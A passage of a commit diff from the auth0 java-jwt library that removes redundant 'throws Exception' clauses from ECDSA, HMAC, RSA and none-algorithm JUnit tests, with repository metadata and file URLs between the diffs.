         Algorithm algorithm = Algorithm.ECDSA512(key);
 
@@ -541,7 +541,7 @@ public void shouldCreateECDSA512AlgorithmWithPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA512AlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateECDSA512AlgorithmWithBothKeys() {
         ECPublicKey publicKey = mock(ECPublicKey.class);
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         Algorithm algorithm = Algorithm.ECDSA512(publicKey, privateKey);
@@ -553,7 +553,7 @@ public void shouldCreateECDSA512AlgorithmWithBothKeys() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA512AlgorithmWithProvider() throws Exception {
+    public void shouldCreateECDSA512AlgorithmWithProvider() {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         Algorithm algorithm = Algorithm.ECDSA512(provider);
 
@@ -564,7 +564,7 @@ public void shouldCreateECDSA512AlgorithmWithProvider() throws Exception {
     }
 
     @Test
-    public void shouldCreateNoneAlgorithm() throws Exception {
+    public void shouldCreateNoneAlgorithm() {
         Algorithm algorithm = Algorithm.none();
 
         assertThat(algorithm, is(notNullValue()));u}(jR  (ee1bf928cbb1e75e577f848502df48f18cabf2e6jS  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javajS  modifiedjS  K
jS  K
j!S  Kj"S  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj$S  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java      j&S  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=1697ccb886268a0038514a97b0430d2c07538144j(S  XD  @@ -113,7 +113,7 @@ public void shouldPassECDSA256VerificationWithProvidedPublicKey() throws Excepti
     }
 
     @Test
-    public void shouldFailECDSA256VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA256VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -225,7 +225,7 @@ public void shouldPassECDSA256KVerificationWithProvidedPublicKey() throws Except
     }
     
     @Test
-    public void shouldFailECDSA256KVerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA256KVerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -343,7 +343,7 @@ public void shouldPassECDSA384VerificationWithProvidedPublicKey() throws Excepti
     }
 
     @Test
-    public void shouldFailECDSA384VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA384VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA384withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -468,7 +468,7 @@ public void shouldPassECDSA512VerificationWithProvidedPublicKey() throws Excepti
     }
 
     @Test
-    public void shouldFailECDSA512VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA512VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA512withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -675,7 +675,7 @@ public void shouldDoECDSA256SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnECDSA256SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA256SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA256withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -733,7 +733,7 @@ public void shouldDoECDSA384SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnECDSA384SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA384SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA384withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -794,7 +794,7 @@ public void shouldDoECDSA512SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnECDSA512SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA512SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA512withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -869,7 +869,7 @@ public void shouldThrowOnSignWhenTheSignatureIsNotPrepared() throws Exception {
     }
 
     @Test
-    public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() throws Exception {
+    public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() {
         ECPublicKey publicKey = mock(ECPublicKey.class);
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
@@ -879,7 +879,7 @@ public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() throws Ex
     }
 
     @Test
-    public void shouldReturnSigningKeyIdFromProvider() throws Exception {
+    public void shouldReturnSigningKeyIdFromProvider() {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         when(provider.getPrivateKeyId()).thenReturn("keyId");
         Algorithm algorithm = new ECDSAAlgorithm("some-alg", "some-algorithm", 32, provider);
@@ -1295,7 +1295,7 @@ public void shouldBeEqualSignatureMethodDecodeResults() throws Exception {
      */
 
     @Test
-    public void shouldFailOnECDSA256SigningWithDeprecatedMethodWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA256SigningWithDeprecatedMethodWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA256withECDSA");
         exception.expectCause(isA(IllegalStateException.class));u}(jR  (d000bb34cc7ae0b247ae82d393108f4ecf4f48aejS  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javajS  modifiedjS  KjS  Kj!S  Kj"S  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj$S  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj&S  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=1697ccb886268a0038514a97b0430d2c07538144j(S  X  @@ -64,18 +64,18 @@ public class ECDSABouncyCastleProviderTests {
     //These tests add and use the BouncyCastle SecurityProvider to handle ECDSA algorithms
 
     @BeforeClass
-    public static void setUp() throws Exception {
+    public static void setUp() {
         //Set BC as the preferred bcProvider
         Security.insertProviderAt(bcProvider, 1);
     }
 
     @AfterClass
-    public static void tearDown() throws Exception {
+    public static void tearDown() {
         Security.removeProvider(bcProvider.getName());
     }
 
     @Test
-    public void shouldPreferBouncyCastleProvider() throws Exception {
+    public void shouldPreferBouncyCastleProvider() {
         assertThat(Security.getProviders()[0], is(equalTo(bcProvider)));
     }
 
@@ -118,7 +118,7 @@ public void shouldPassECDSA256KVerificationWithProvidedPublicKey() throws Except
     }
     
     @Test
-    public void shouldFailECDSA256KVerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA256KVerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -237,7 +237,7 @@ public void shouldPassECDSA256VerificationWithProvidedPublicKey() throws Excepti
     }
 
     @Test
-    public void shouldFailECDSA256VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA256VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -362,7 +362,7 @@ public void shouldPassECDSA384VerificationWithProvidedPublicKey() throws Excepti
     }
 
     @Test
-    public void shouldFailECDSA384VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA384VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA384withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -487,7 +487,7 @@ public void shouldPassECDSA512VerificationWithProvidedPublicKey() throws Excepti
     }
 
     @Test
-    public void shouldFailECDSA512VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA512VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA512withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -675,7 +675,7 @@ public void shouldDoECDSA256SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnECDSA256SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA256SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA256withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -733,7 +733,7 @@ public void shouldDoECDSA384SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnECDSA384SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA384SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA384withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -792,7 +792,7 @@ public void shouldDoECDSA512SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnECDSA512SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA512SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA512withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -867,7 +867,7 @@ public void shouldThrowOnSignWhenTheSignatureIsNotPrepared() throws Exception {
     }
 
     @Test
-    public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() throws Exception {
+    public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() {
         ECPublicKey publicKey = mock(ECPublicKey.class);
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
@@ -877,7 +877,7 @@ public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() throws Ex
     }
 
     @Test
-    public void shouldReturnSigningKeyIdFromProvider() throws Exception {
+    public void shouldReturnSigningKeyIdFromProvider() {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         when(provider.getPrivateKeyId()).thenReturn("keyId");
         Algorithm algorithm = new ECDSAAlgorithm("some-alg", "some-algorithm", 32, provider);u}(jR  (4a0269cc0b920f9fddf8e79be9352ae50a5ecc47jS  Alib/src/test/java/com/auth0/jwt/algorithms/HMACAlgorithmTest.javajS  modifiedjS  KjS  Kj!S  K$j"S  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj$S  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj&S  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.java?ref=1697ccb886268a0038514a97b0430d2c07538144j(S  X9"  @@ -34,14 +34,14 @@ public class HMACAlgorithmTest {
     // Verify
 
     @Test
-    public void shouldGetStringBytes() throws Exception {
+    public void shouldGetStringBytes() {
         String text = "abcdef123456!@#$%^";
         byte[] expectedBytes = text.getBytes(StandardCharsets.UTF_8);
         assertArrayEquals(expectedBytes, HMACAlgorithm.getSecretBytes(text));
     }
 
     @Test
-    public void shouldCopyTheReceivedSecretArray() throws Exception {
+    public void shouldCopyTheReceivedSecretArray() {
         String jwt = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         byte[] secretArray = "secret".getBytes(Charset.defaultCharset());
         Algorithm algorithmString = Algorithm.HMAC256(secretArray);
@@ -53,7 +53,7 @@ public void shouldCopyTheReceivedSecretArray() throws Exception {
     }
 
     @Test
-    public void shouldPassHMAC256Verification() throws Exception {
+    public void shouldPassHMAC256Verification() {
         String jwt = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         Algorithm algorithmString = Algorithm.HMAC256("secret");
         Algorithm algorithmBytes = Algorithm.HMAC256("secret".getBytes(StandardCharsets.UTF_8));
@@ -63,7 +63,7 @@ public void shouldPassHMAC256Verification() throws Exception {
     }
 
     @Test
-    public void shouldFailHMAC256VerificationWithInvalidSecretString() throws Exception {
+    public void shouldFailHMAC256VerificationWithInvalidSecretString() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: HmacSHA256");
         String jwt = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
@@ -72,7 +72,7 @@ public void shouldFailHMAC256VerificationWithInvalidSecretString() throws Except
     }
 
     @Test
-    public void shouldFailHMAC256VerificationWithInvalidSecretBytes() throws Exception {
+    public void shouldFailHMAC256VerificationWithInvalidSecretBytes() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: HmacSHA256");
         String jwt = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
@@ -81,7 +81,7 @@ public void shouldFailHMAC256VerificationWithInvalidSecretBytes() throws Excepti
     }
 
     @Test
-    public void shouldPassHMAC384Verification() throws Exception {
+    public void shouldPassHMAC384Verification() {
         String jwt = "eyJhbGciOiJIUzM4NCIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.uztpK_wUMYJhrRv8SV-1LU4aPnwl-EM1q-wJnqgyb5DHoDteP6lN_gE1xnZJH5vw";
         Algorithm algorithmString = Algorithm.HMAC384("secret");
         Algorithm algorithmBytes = Algorithm.HMAC384("secret".getBytes(StandardCharsets.UTF_8));
@@ -91,7 +91,7 @@ public void shouldPassHMAC384Verification() throws Exception {
     }
 
     @Test
-    public void shouldFailHMAC384VerificationWithInvalidSecretString() throws Exception {
+    public void shouldFailHMAC384VerificationWithInvalidSecretString() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: HmacSHA384");
         String jwt = "eyJhbGciOiJIUzM4NCIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.uztpK_wUMYJhrRv8SV-1LU4aPnwl-EM1q-wJnqgyb5DHoDteP6lN_gE1xnZJH5vw";
@@ -100,7 +100,7 @@ public void shouldFailHMAC384VerificationWithInvalidSecretString() throws Except
     }
 
     @Test
-    public void shouldFailHMAC384VerificationWithInvalidSecretBytes() throws Exception {
+    public void shouldFailHMAC384VerificationWithInvalidSecretBytes() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: HmacSHA384");
         String jwt = "eyJhbGciOiJIUzM4NCIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.uztpK_wUMYJhrRv8SV-1LU4aPnwl-EM1q-wJnqgyb5DHoDteP6lN_gE1xnZJH5vw";
@@ -109,7 +109,7 @@ public void shouldFailHMAC384VerificationWithInvalidSecretBytes() throws Excepti
     }
 
     @Test
-    public void shouldPassHMAC512Verification() throws Exception {
+    public void shouldPassHMAC512Verification() {
         String jwt = "eyJhbGciOiJIUzUxMiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.VUo2Z9SWDV-XcOc_Hr6Lff3vl7L9e5Vb8ThXpmGDFjHxe3Dr1ZBmUChYF-xVA7cAdX1P_D4ZCUcsv3IefpVaJw";
         Algorithm algorithmString = Algorithm.HMAC512("secret");
         Algorithm algorithmBytes = Algorithm.HMAC512("secret".getBytes(StandardCharsets.UTF_8));
@@ -119,7 +119,7 @@ public void shouldPassHMAC512Verification() throws Exception {
     }
 
     @Test
-    public void shouldFailHMAC512VerificationWithInvalidSecretString() throws Exception {
+    public void shouldFailHMAC512VerificationWithInvalidSecretString() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: HmacSHA512");
         String jwt = "eyJhbGciOiJIUzUxMiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.VUo2Z9SWDV-XcOc_Hr6Lff3vl7L9e5Vb8ThXpmGDFjHxe3Dr1ZBmUChYF-xVA7cAdX1P_D4ZCUcsv3IefpVaJw";
@@ -128,7 +128,7 @@ public void shouldFailHMAC512VerificationWithInvalidSecretString() throws Except
     }
 
     @Test
-    public void shouldFailHMAC512VerificationWithInvalidSecretBytes() throws Exception {
+    public void shouldFailHMAC512VerificationWithInvalidSecretBytes() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: HmacSHA512");
         String jwt = "eyJhbGciOiJIUzUxMiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.VUo2Z9SWDV-XcOc_Hr6Lff3vl7L9e5Vb8ThXpmGDFjHxe3Dr1ZBmUChYF-xVA7cAdX1P_D4ZCUcsv3IefpVaJw";
@@ -174,7 +174,7 @@ public void shouldThrowOnVerifyWhenTheSecretIsInvalid() throws Exception {
     private static final String auth0IssPayload = "eyJpc3MiOiJhdXRoMCJ9";
 
     @Test
-    public void shouldDoHMAC256SigningWithBytes() throws Exception {
+    public void shouldDoHMAC256SigningWithBytes() {
         Algorithm algorithm = Algorithm.HMAC256("secret".getBytes(StandardCharsets.UTF_8));
 
         String jwt = asJWT(algorithm, HS256Header, auth0IssPayload);
@@ -186,7 +186,7 @@ public void shouldDoHMAC256SigningWithBytes() throws Exception {
     }
 
     @Test
-    public void shouldDoHMAC384SigningWithBytes() throws Exception {
+    public void shouldDoHMAC384SigningWithBytes() {
         Algorithm algorithm = Algorithm.HMAC384("secret".getBytes(StandardCharsets.UTF_8));
 
         String jwt = asJWT(algorithm, HS384Header, auth0IssPayload);
@@ -198,7 +198,7 @@ public void shouldDoHMAC384SigningWithBytes() throws Exception {
     }
 
     @Test
-    public void shouldDoHMAC512SigningWithBytes() throws Exception {
+    public void shouldDoHMAC512SigningWithBytes() {
         Algorithm algorithm = Algorithm.HMAC512("secret".getBytes(StandardCharsets.UTF_8));
 
         String jwt = asJWT(algorithm, HS512Header, auth0IssPayload);
@@ -210,7 +210,7 @@ public void shouldDoHMAC512SigningWithBytes() throws Exception {
     }
 
     @Test
-    public void shouldDoHMAC256SigningWithString() throws Exception {
+    public void shouldDoHMAC256SigningWithString() {
         Algorithm algorithm = Algorithm.HMAC256("secret");
 
         String jwt = asJWT(algorithm, HS256Header, auth0IssPayload);
@@ -222,7 +222,7 @@ public void shouldDoHMAC256SigningWithString() throws Exception {
     }
 
     @Test
-    public void shouldDoHMAC384SigningWithString() throws Exception {
+    public void shouldDoHMAC384SigningWithString() {
         Algorithm algorithm = Algorithm.HMAC384("secret");
 
         String jwt = asJWT(algorithm, HS384Header, auth0IssPayload);
@@ -234,7 +234,7 @@ public void shouldDoHMAC384SigningWithString() throws Exception {
     }
 
     @Test
-    public void shouldDoHMAC512SigningWithString() throws Exception {
+    public void shouldDoHMAC512SigningWithString() {
         Algorithm algorithm = Algorithm.HMAC512("secret");
 
         String jwt = asJWT(algorithm ,HS512Header, auth0IssPayload);
@@ -274,7 +274,7 @@ public void shouldThrowOnSignWhenTheSecretIsInvalid() throws Exception {
     }
 
     @Test
-    public void shouldReturnNullSigningKeyId() throws Exception {
+    public void shouldReturnNullSigningKeyId() {
         assertThat(Algorithm.HMAC256("secret").getSigningKeyId(), is(nullValue()));
     }
 u}(jR  (263dc2496257c2033b4cba37759b970b19985428jS  Alib/src/test/java/com/auth0/jwt/algorithms/NoneAlgorithmTest.javajS  modifiedjS  KjS  Kj!S  Kj"S  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.javaj$S  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.javaj&S  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.java?ref=1697ccb886268a0038514a97b0430d2c07538144j(S  X  @@ -16,14 +16,14 @@ public class NoneAlgorithmTest {
     public ExpectedException exception = ExpectedException.none();
 
     @Test
-    public void shouldPassNoneVerification() throws Exception {
+    public void shouldPassNoneVerification() {
         Algorithm algorithm = Algorithm.none();
         String jwt = "eyJhbGciOiJub25lIiwiY3R5IjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.";
         algorithm.verify(JWT.decode(jwt));
     }
 
     @Test
-    public void shouldFailNoneVerificationWhenTokenHasTwoParts() throws Exception {
+    public void shouldFailNoneVerificationWhenTokenHasTwoParts() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The token was expected to have 3 parts, but got 2.");
         String jwt = "eyJhbGciOiJub25lIiwiY3R5IjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9";
@@ -32,7 +32,7 @@ public void shouldFailNoneVerificationWhenTokenHasTwoParts() throws Exception {
     }
 
     @Test
-    public void shouldFailNoneVerificationWhenSignatureIsPresent() throws Exception {
+    public void shouldFailNoneVerificationWhenSignatureIsPresent() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: none");
         String jwt = "eyJhbGciOiJub25lIiwiY3R5IjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.Ox-WRXRaGAuWt2KfPvWiGcCrPqZtbp_4OnQzZXaTfss";
@@ -41,7 +41,7 @@ public void shouldFailNoneVerificationWhenSignatureIsPresent() throws Exception
     }
 
     @Test
-    public void shouldReturnNullSigningKeyId() throws Exception {
+    public void shouldReturnNullSigningKeyId() {
         assertThat(Algorithm.none().getSigningKeyId(), is(nullValue()));
     }
 u}(jR  (115de64c9fbe04af0882a56a24063a9e3cfd11e1jS  @lib/src/test/java/com/auth0/jwt/algorithms/RSAAlgorithmTest.javajS  modifiedjS  K	jS  K
j!S  Kj"S  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.javaj$S  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.javaj&S  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.java?ref=1697ccb886268a0038514a97b0430d2c07538144j(S  X  @@ -61,7 +61,7 @@ public void shouldPassRSA256VerificationWithProvidedPublicKey() throws Exception
     }
 
     @Test
-    public void shouldFailRSA256VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailRSA256VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withRSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -118,7 +118,7 @@ public void shouldPassRSA384VerificationWithProvidedPublicKey() throws Exception
     }
 
     @Test
-    public void shouldFailRSA384VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailRSA384VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA384withRSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -175,7 +175,7 @@ public void shouldPassRSA512VerificationWithProvidedPublicKey() throws Exception
     }
 
     @Test
-    public void shouldFailRSA512VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailRSA512VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA512withRSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -309,7 +309,7 @@ public void shouldDoRSA256SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnRSA256SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnRSA256SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA256withRSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -373,7 +373,7 @@ public void shouldDoRSA384SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnRSA384SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnRSA384SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA384withRSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -437,7 +437,7 @@ public void shouldDoRSA512SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnRSA512SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnRSA512SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA512withRSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -512,7 +512,7 @@ public void shouldThrowOnSignWhenTheSignatureIsNotPrepared() throws Exception {
     }
 
     @Test
-    public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() throws Exception {
+    public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() {
         RSAPublicKey publicKey = mock(RSAPublicKey.class);
         RSAPrivateKey privateKey = mock(RSAPrivateKey.class);
         RSAKeyProvider provider = RSAAlgorithm.providerForKeys(publicKey, privateKey);
@@ -522,7 +522,7 @@ public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() throws Ex
     }
 
     @Test
-    public void shouldReturnSigningKeyIdFromProvider() throws Exception {
+    public void shouldReturnSigningKeyIdFromProvider() {
         RSAKeyProvider provider = mock(RSAKeyProvider.class);
         when(provider.getPrivateKeyId()).thenReturn("keyId");
         Algorithm algorithm = new RSAAlgorithm("some-alg", "some-algorithm", provider);
@@ -552,11 +552,10 @@ public void shouldBeEqualSignatureMethodResults() throws Exception {
      * Test deprecated signing method error handling.
      * 
      * @see {@linkplain #shouldFailOnRSA256SigningWhenProvidedPrivateKeyIsNull}
-     * @throws Exception expected exception
      */
     
     @Test
-    public void shouldFailOnRSA256SigningWithDeprecatedMethodWhenProvidedPrivateKeyIsNull() throws Exception {
